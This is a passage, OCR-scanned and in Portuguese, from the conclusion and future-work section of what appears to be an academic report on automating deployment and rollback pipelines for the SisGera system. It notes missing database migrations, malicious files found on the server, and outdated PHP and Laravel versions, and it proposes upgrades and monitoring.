rollback manual. Cada uma com responsabilidades claras e mecanismos de notificacao
via Slack. Também foi elaborada uma nova documentagao do projeto, incluindo a adogao
do GitFlow, a padronizacao de commits (Conventional Commits) e guias de preparacao

do ambiente local, tornando o processo mais acessivel a novos colaboradores.

Os resultados obtidos indicam ganhos significativos. A automacao reduziu a sus-
cetibilidade a erros humanos, padronizou os processos de entrega, possibilitou reverter
versoes de maneira segura e melhorou a governanca de branches no repositorio, conso-
lidando o desenvolvimento em um tnico fluxo. Contudo, algumas dificuldades foram
identificadas, em especial a auséncia de um conjunto completo de migragdes no banco
de dados do SisGera, o que limitou a capacidade de rollback em nivel de dados. Além
disso, observou-se a presenca de arquivos maliciosos no servidor e a utilizacao de versoes
descontinuadas de PHP e Laravel, indicando a necessidade de atualizacao tecnoldgica

para mitigar riscos de seguranca.

5.1 Trabalhos Futuros

Como continuidade deste trabalho, destacam-se algumas propostas relevantes:

e Evolugao do banco de dados: desenvolver um conjunto completo de migracoes
consistentes, corrigindo falhas de integridade referencial e tipos inadequados de

dados, para permitir maior confiabilidade nas atualiza¢oes e reversoes.

o Rollback de banco de dados: implementar mecanismos que garantam a reversao
nao apenas da aplicacao, mas também do estado do banco, ampliando a seguranca

em casos de falhas.
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» Atualizagdo tecnologica: migrar o SisGera para versoes mais recentes do PHP e do

Laravel, garantindo suporte ativo da comunidade e maior resiliéncia a vulnerabili-

dades.

o Automacao de testes avancada: ampliar a cobertura de testes automatizados,

fortalecendo a qualidade do software.

« Monitoramento continuo: integrar ferramentas de observabilidade (logs centrali-
zados, métricas e alertas) ao pipeline, permitindo acompanhamento proativo de

falhas e maior confiabilidade operacional.
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